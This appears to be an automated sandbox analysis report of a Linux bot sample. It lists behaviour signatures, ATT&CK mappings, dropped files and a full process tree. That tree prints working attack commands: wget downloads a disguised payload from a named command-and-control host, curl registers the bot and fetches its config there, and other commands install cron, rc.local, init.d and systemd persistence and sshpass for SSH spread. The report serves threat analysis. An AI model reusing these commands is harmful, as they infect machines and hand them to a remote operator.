Overview

overview

7

Static

static

1

58baffaf7b...11ac19

ubuntu-18.04-amd64

7

58baffaf7b...11ac19

debian-9-armhf

7

58baffaf7b...11ac19

debian-9-mips

58baffaf7b...11ac19

debian-9-mipsel

Analysis

  • max time kernel
    6s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    31/07/2026, 14:10

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    58baffaf7b5850b22d832cfb80d6c04530494f3a0a6a9644515f53e7e011ac19
  • Size 1KB
  • Sample260731-rgvcgavanf
  • SHA256 58baffaf7b5850b22d832cfb80d6c04530494f3a0a6a9644515f53e7e011ac19
  • MD5 SHA1 SHA512 TLSH
Score
7/10
antivmcommand_and_controlcredential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Outbound SSH connection to public host 2 TTPs 64 IoCs

    SSH is used for remote access. This may indicate SSH host discovery, encrypted C2 traffic, or data exfiltration.

    command_and_control
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Writes file to system bin folder 1 IoCs
  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 3 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Peripheral Device Discovery 1 TTPs 1 IoCs

    Adversaries may attempt to discover attached peripheral devices.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

  • Software Deployment Tools 1 TTPs 1 IoCs

    Use software deployment tools to execute code.

    execution

Processes

  • /tmp/58baffaf7b5850b22d832cfb80d6c04530494f3a0a6a9644515f53e7e011ac19
    /tmp/58baffaf7b5850b22d832cfb80d6c04530494f3a0a6a9644515f53e7e011ac19
    1⤵
    • Executes dropped EXE
    PID:643
    • /bin/pidof
      pidof .systemd-network
      2⤵
      • Reads runtime system information
      PID:644
    • /bin/fuser
      fuser -k 19090/tcp
      2⤵
      • Enumerates active TCP sockets
      • Reads process memory
      • Reads system network configuration
      • Reads runtime system information
      PID:649
    • /bin/rm
      rm -f /tmp/.x /bin/.systemd-network /usr/bin/.systemd-network
      2⤵
        PID:666
      • /bin/uname
        uname -m
        2⤵
          PID:668
        • /usr/bin/wget
          wget -q -O /tmp/.x http://glmai.yu911.xyz/cdn/img/cache.arm7.jpg
          2⤵
          • Writes file to tmp directory
          PID:669
        • /bin/chmod
          chmod +x /tmp/.x
          2⤵
          • File and Directory Permissions Modification
          PID:675
      • /tmp/.x
        /tmp/.x glmai.yu911.xyz
        1⤵
        • Writes file to tmp directory
        PID:643
        • /bin/sh
          sh -c "grep 'model name' /proc/cpuinfo|head -1|cut -d: -f2|xargs 2>/dev/null||echo unknown"
          2⤵
            PID:676
            • /bin/grep
              grep "model name" /proc/cpuinfo
              3⤵
              • Checks CPU configuration
              PID:677
            • /usr/bin/head
              head -1
              3⤵
                PID:678
              • /usr/bin/cut
                cut -d: -f2
                3⤵
                  PID:679
                • /usr/bin/xargs
                  xargs
                  3⤵
                    PID:680
                    • /usr/local/sbin/echo
                      echo ARMv7 Processor rev 0 "(v7l)"
                      4⤵
                        PID:681
                      • /usr/local/bin/echo
                        echo ARMv7 Processor rev 0 "(v7l)"
                        4⤵
                          PID:681
                        • /usr/sbin/echo
                          echo ARMv7 Processor rev 0 "(v7l)"
                          4⤵
                            PID:681
                          • /usr/bin/echo
                            echo ARMv7 Processor rev 0 "(v7l)"
                            4⤵
                              PID:681
                            • /sbin/echo
                              echo ARMv7 Processor rev 0 "(v7l)"
                              4⤵
                                PID:681
                              • /bin/echo
                                echo ARMv7 Processor rev 0 "(v7l)"
                                4⤵
                                  PID:681
                            • /bin/sh
                              sh -c "lspci 2>/dev/null|grep -i vga|head -1|cut -d: -f3|xargs||echo none"
                              2⤵
                                PID:682
                                • /bin/grep
                                  grep -i vga
                                  3⤵
                                    PID:684
                                  • /usr/bin/head
                                    head -1
                                    3⤵
                                      PID:685
                                    • /usr/bin/cut
                                      cut -d: -f3
                                      3⤵
                                        PID:686
                                      • /usr/bin/lspci
                                        lspci
                                        3⤵
                                        • Enumerates kernel/hardware configuration
                                        • Peripheral Device Discovery
                                        PID:683
                                      • /usr/bin/xargs
                                        xargs
                                        3⤵
                                          PID:687
                                          • /usr/local/sbin/echo
                                            echo
                                            4⤵
                                              PID:688
                                            • /usr/local/bin/echo
                                              echo
                                              4⤵
                                                PID:688
                                              • /usr/sbin/echo
                                                echo
                                                4⤵
                                                  PID:688
                                                • /usr/bin/echo
                                                  echo
                                                  4⤵
                                                    PID:688
                                                  • /sbin/echo
                                                    echo
                                                    4⤵
                                                      PID:688
                                                    • /bin/echo
                                                      echo
                                                      4⤵
                                                        PID:688
                                                  • /bin/sh
                                                    sh -c "hostname -I|awk '{print \$1}' 2>/dev/null||echo 127.0.0.1"
                                                    2⤵
                                                      PID:689
                                                      • /bin/hostname
                                                        hostname -I
                                                        3⤵
                                                          PID:690
                                                        • /usr/bin/awk
                                                          awk "{print \$1}"
                                                          3⤵
                                                            PID:691
                                                        • /bin/sh
                                                          sh -c "which sshpass >/dev/null 2>&1 || (apt-get install -y sshpass -qq 2>/dev/null || yum install -y sshpass -q 2>/dev/null || dnf install -y sshpass -q 2>/dev/null || zypper install -y sshpass 2>/dev/null || pacman -S --noconfirm sshpass 2>/dev/null || apk add sshpass 2>/dev/null || opkg install sshpass 2>/dev/null || pkg install -y sshpass 2>/dev/null) &"
                                                          2⤵
                                                            PID:692
                                                            • /usr/bin/which
                                                              which sshpass
                                                              3⤵
                                                                PID:695
                                                              • /usr/bin/apt-get
                                                                apt-get install -y sshpass -qq
                                                                3⤵
                                                                • Writes file to tmp directory
                                                                • Software Deployment Tools
                                                                PID:697
                                                                • /usr/bin/dpkg
                                                                  /usr/bin/dpkg --print-foreign-architectures
                                                                  4⤵
                                                                    PID:698
                                                              • /bin/sh
                                                                sh -c "curl -s -X POST --max-time 10 -H 'Content-Type: application/json' -H 'X-Bot-Key: ' 'http://glmai.yu911.xyz/api/bot/register' -d @/tmp/.p643 2>/dev/null; if [ \$? -ne 0 ]; then wget -q -O- --timeout=10 --method=POST --header='Content-Type: application/json' --header='X-Bot-Key: ' --body-file=/tmp/.p643 'http://glmai.yu911.xyz/api/bot/register' 2>/dev/null; fi; rm -f /tmp/.p643"
                                                                2⤵
                                                                  PID:694
                                                                  • /usr/bin/curl
                                                                    curl -s -X POST --max-time 10 -H "Content-Type: application/json" -H "X-Bot-Key: " http://glmai.yu911.xyz/api/bot/register -d "@/tmp/.p643"
                                                                    3⤵
                                                                    • Checks CPU configuration
                                                                    PID:696
                                                                  • /bin/rm
                                                                    rm -f /tmp/.p643
                                                                    3⤵
                                                                      PID:701
                                                                  • /bin/sh
                                                                    sh -c "curl -s --max-time 10 -H 'X-Bot-Key: a960180b0a426514ade149eb5d151faa' 'http://glmai.yu911.xyz/api/bot/config?id=bot-f528764d' 2>/dev/null; if [ \$? -ne 0 ]; then wget -q -O- --timeout=10 --header='X-Bot-Key: a960180b0a426514ade149eb5d151faa' 'http://glmai.yu911.xyz/api/bot/config?id=bot-f528764d' 2>/dev/null; fi"
                                                                    2⤵
                                                                      PID:703
                                                                      • /usr/bin/curl
                                                                        curl -s --max-time 10 -H "X-Bot-Key: a960180b0a426514ade149eb5d151faa" "http://glmai.yu911.xyz/api/bot/config?id=bot-f528764d"
                                                                        3⤵
                                                                        • Checks CPU configuration
                                                                        PID:704
                                                                    • /bin/sh
                                                                      sh -c "for p in \$(pidof /bin/.systemd-network /usr/bin/.systemd-network /tmp/.x 2>/dev/null); do if [ \"\$p\" != \"643\" ]; then kill -9 \$p 2>/dev/null; fi; done"
                                                                      2⤵
                                                                        PID:739
                                                                        • /bin/pidof
                                                                          pidof /bin/.systemd-network /usr/bin/.systemd-network /tmp/.x
                                                                          3⤵
                                                                          • Reads runtime system information
                                                                          PID:740
                                                                      • /bin/sh
                                                                        sh -c "cp /tmp/.x /bin/.systemd-network 2>/dev/null; chmod +x /bin/.systemd-network 2>/dev/null"
                                                                        2⤵
                                                                        • File and Directory Permissions Modification
                                                                        PID:743
                                                                        • /bin/cp
                                                                          cp /tmp/.x /bin/.systemd-network
                                                                          3⤵
                                                                          • Writes file to system bin folder
                                                                          PID:744
                                                                        • /bin/chmod
                                                                          chmod +x /bin/.systemd-network
                                                                          3⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:746
                                                                      • /bin/sh
                                                                        sh -c "crontab -l 2>/dev/null|grep -v 'systemd' >/tmp/.c 2>/dev/null; echo '@reboot nohup /bin/.systemd-network glmai.yu911.xyz >/dev/null 2>&1 &'>>/tmp/.c; echo '* * * * * pidof /bin/.systemd-network >/dev/null 2>&1 || nohup /bin/.systemd-network glmai.yu911.xyz >/dev/null 2>&1 &'>>/tmp/.c; crontab /tmp/.c 2>/dev/null; rm -f /tmp/.c"
                                                                        2⤵
                                                                        • Writes file to tmp directory
                                                                        PID:748
                                                                        • /bin/grep
                                                                          grep -v systemd
                                                                          3⤵
                                                                            PID:750
                                                                          • /usr/bin/crontab
                                                                            crontab -l
                                                                            3⤵
                                                                              PID:749
                                                                            • /usr/bin/crontab
                                                                              crontab /tmp/.c
                                                                              3⤵
                                                                              • Creates/modifies Cron job
                                                                              PID:752
                                                                            • /bin/rm
                                                                              rm -f /tmp/.c
                                                                              3⤵
                                                                                PID:756
                                                                            • /bin/sh
                                                                              sh -c "grep -q systemd-network /etc/rc.local 2>/dev/null || echo '/bin/.systemd-network glmai.yu911.xyz >/dev/null 2>&1 &' >>/etc/rc.local 2>/dev/null; chmod +x /etc/rc.local 2>/dev/null; echo '#!/bin/sh nohup /bin/.systemd-network glmai.yu911.xyz >/dev/null 2>&1 &' >/etc/init.d/S97net 2>/dev/null; chmod +x /etc/init.d/S97net 2>/dev/null"
                                                                              2⤵
                                                                              • File and Directory Permissions Modification
                                                                              • Modifies init.d
                                                                              • Modifies rc script
                                                                              PID:758
                                                                              • /bin/grep
                                                                                grep -q systemd-network /etc/rc.local
                                                                                3⤵
                                                                                  PID:759
                                                                                • /bin/chmod
                                                                                  chmod +x /etc/rc.local
                                                                                  3⤵
                                                                                  • File and Directory Permissions Modification
                                                                                  PID:762
                                                                                • /bin/chmod
                                                                                  chmod +x /etc/init.d/S97net
                                                                                  3⤵
                                                                                  • File and Directory Permissions Modification
                                                                                  PID:765
                                                                              • /bin/sh
                                                                                sh -c "printf '[Unit] Description=net After=network.target [Service] ExecStart=/bin/.systemd-network glmai.yu911.xyz Restart=always RestartSec=30 [Install] WantedBy=multi-user.target ' >/etc/systemd/system/net.service 2>/dev/null; systemctl enable net.service 2>/dev/null; systemctl start net.service 2>/dev/null"
                                                                                2⤵
                                                                                • Modifies systemd
                                                                                • System Network Configuration Discovery
                                                                                PID:767
                                                                                • /bin/systemctl
                                                                                  systemctl enable net.service
                                                                                  3⤵
                                                                                  • Enumerates kernel/hardware configuration
                                                                                  • Reads runtime system information
                                                                                  PID:768
                                                                                • /bin/systemctl
                                                                                  systemctl start net.service
                                                                                  3⤵
                                                                                  • Enumerates kernel/hardware configuration
                                                                                  PID:788

                                                                            Network

                                                                                  MITRE ATT&CK Enterprise v16

                                                                                  Reconnaissance

                                                                                  Resource Development

                                                                                  Initial Access

                                                                                  Execution

                                                                                  Scheduled Task/Job

                                                                                  1
                                                                                  T1053

                                                                                  Cron

                                                                                  1
                                                                                  T1053.003

                                                                                  Software Deployment Tools

                                                                                  1
                                                                                  T1072

                                                                                  Persistence

                                                                                  Boot or Logon Autostart Execution

                                                                                  3
                                                                                  T1547

                                                                                  XDG Autostart Entries

                                                                                  1
                                                                                  T1547.013

                                                                                  Boot or Logon Initialization Scripts

                                                                                  2
                                                                                  T1037

                                                                                  RC Scripts

                                                                                  2
                                                                                  T1037.004

                                                                                  Create or Modify System Process

                                                                                  1
                                                                                  T1543

                                                                                  Systemd Service

                                                                                  1
                                                                                  T1543.002

                                                                                  Scheduled Task/Job

                                                                                  1
                                                                                  T1053

                                                                                  Cron

                                                                                  1
                                                                                  T1053.003

                                                                                  Privilege Escalation

                                                                                  Boot or Logon Autostart Execution

                                                                                  3
                                                                                  T1547

                                                                                  XDG Autostart Entries

                                                                                  1
                                                                                  T1547.013

                                                                                  Boot or Logon Initialization Scripts

                                                                                  2
                                                                                  T1037

                                                                                  RC Scripts

                                                                                  2
                                                                                  T1037.004

                                                                                  Create or Modify System Process

                                                                                  1
                                                                                  T1543

                                                                                  Systemd Service

                                                                                  1
                                                                                  T1543.002

                                                                                  Scheduled Task/Job

                                                                                  1
                                                                                  T1053

                                                                                  Cron

                                                                                  1
                                                                                  T1053.003

                                                                                  Defense Evasion

                                                                                  File and Directory Permissions Modification

                                                                                  1
                                                                                  T1222

                                                                                  Linux and Mac File and Directory Permissions Modification

                                                                                  1
                                                                                  T1222.002

                                                                                  Virtualization/Sandbox Evasion

                                                                                  1
                                                                                  T1497

                                                                                  System Checks

                                                                                  1
                                                                                  T1497.001

                                                                                  Credential Access

                                                                                  OS Credential Dumping

                                                                                  1
                                                                                  T1003

                                                                                  Proc Filesystem

                                                                                  1
                                                                                  T1003.007

                                                                                  Discovery

                                                                                  Network Service Discovery

                                                                                  1
                                                                                  T1046

                                                                                  Peripheral Device Discovery

                                                                                  1
                                                                                  T1120

                                                                                  System Information Discovery

                                                                                  1
                                                                                  T1082

                                                                                  System Network Configuration Discovery

                                                                                  2
                                                                                  T1016

                                                                                  Internet Connection Discovery

                                                                                  1
                                                                                  T1016.001

                                                                                  System Network Connections Discovery

                                                                                  1
                                                                                  T1049

                                                                                  Virtualization/Sandbox Evasion

                                                                                  1
                                                                                  T1497

                                                                                  System Checks

                                                                                  1
                                                                                  T1497.001

                                                                                  Lateral Movement

                                                                                  Software Deployment Tools

                                                                                  1
                                                                                  T1072

                                                                                  Collection

                                                                                  Command and Control

                                                                                  Protocol Tunneling

                                                                                  1
                                                                                  T1572

                                                                                  Exfiltration

                                                                                  Impact

                                                                                  Replay Monitor

                                                                                  Loading Replay Monitor...

                                                                                  Downloads

                                                                                  S97net
                                                                                  • Path /etc/init.d/S97net
                                                                                  • Size 72B
                                                                                  • SHA256 c90e076820951d7596e70dc97b9cf158447e2fb38fc4a27c7a17392cf828e264
                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                  Submit Download

                                                                                  rc.local
                                                                                  • Path /etc/rc.local
                                                                                  • Size 56B
                                                                                  • SHA256 14eade2f08694e44df31e4748a78037f283f480ac0b86d7c6d1529ecb870e0c6
                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                  Submit Download

                                                                                  .c
                                                                                  • Path /tmp/.c
                                                                                  • Size 70B
                                                                                  • SHA256 0cda4b29762957b6ed986d6f7d368a52242162877fa29c5e00d81d21be3b31bd
                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                  Submit Download

                                                                                  .c
                                                                                  • Path /tmp/.c
                                                                                  • Size 189B
                                                                                  • SHA256 0d4e3b4217121cd1e5455cafd78e1a08b63cd3e5b13d8fcffba708398fd5f420
                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                  Submit Download

                                                                                  .x
                                                                                  • Path /tmp/.x
                                                                                  • Size 136KB
                                                                                  • SHA256 fa88321716e0dab59d394ab17534899d814434c17556c8f8d51fd688a02b5954
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                  Submit Download

                                                                                  tmp.7X6C0A
                                                                                  • Path /var/spool/cron/crontabs/tmp.7X6C0A
                                                                                  • Size 370B
                                                                                  • SHA256 5a4b1c7a1da94e1f0cd477217c66d8ba839501d2015118c322dec3b659dff99f
                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                  Submit Download